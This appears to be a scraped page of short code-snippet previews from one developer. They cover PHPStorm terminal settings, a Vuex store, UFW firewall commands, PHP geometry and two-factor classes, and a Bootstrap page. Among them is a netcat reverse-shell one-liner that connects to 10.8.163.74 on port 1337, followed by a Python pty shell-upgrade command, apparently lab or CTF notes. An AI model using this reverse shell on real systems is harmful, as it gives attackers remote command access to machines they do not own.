Navigate to PHPStorm's Settings > Tools > Terminal and set...
Shell path "cmd" /k "C:\laragon\bin\cmder\vendor\init.bat"
| export const state = () => ({ | |
| intervalList: [] | |
| }) | |
| export const mutations = { | |
| addWithArgument(state, {callback, args}) { | |
| if (callback.name === undefined) { | |
| return; | |
| } |
| #Block IP | |
| ufw insert 1 deny from 202.186.179.142 to any | |
| #Numbered UFW | |
| sudo ufw status numbered |
| #!/bin/sh | |
| curl https://ipinfo.io/$(curl -s icanhazip.com) |
| <?php | |
| class PointLocation | |
| { | |
| public static function pointInPolygon($point, $vertices): string | |
| { | |
| if (self::pointOnVertex($point, $vertices) == true) { | |
| return "vertex"; | |
| } |
| <html> | |
| <head> | |
| <meta name="viewport" content="width=device-width, initial-scale=1.0"> | |
| <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css" integrity="sha384-JcKb8q3iqJ61gNV9KGb8thSsNjpSL0n8PARn9HuZOnIxN0hoP+VmmDGMN5t9UJ0Z" crossorigin="anonymous"> | |
| </head> | |
| <body> | |
| <div class="p-5"> |
| rm /tmp/f ; mkfifo /tmp/f ; cat /tmp/f | /bin/sh -i 2>&1 | nc 10.8.163.74 1337 >/tmp/f | |
| python -c 'import pty; pty.spawn("/bin/bash")' |
Navigate to PHPStorm's Settings > Tools > Terminal and set...
Shell path "cmd" /k "C:\laragon\bin\cmder\vendor\init.bat"
When setting these options consider the following:
sudo grep max_children /var/log/php?.?-fpm.log.1 /var/log/php?.?-fpm.log| <?php | |
| class TwoFactorAuthenticationProvider | |
| { | |
| protected $engine; | |
| public function __construct(Google2FA $engine) | |
| { | |
| $this->engine = $engine; | |
| } |
| <?php | |
| namespace App\Http\Middleware; | |
| use \RuntimeException; | |
| use Closure; | |
| use Illuminate\Http\Request; | |
| use Illuminate\Support\Carbon; | |
| class TimestampProtection | |
| { |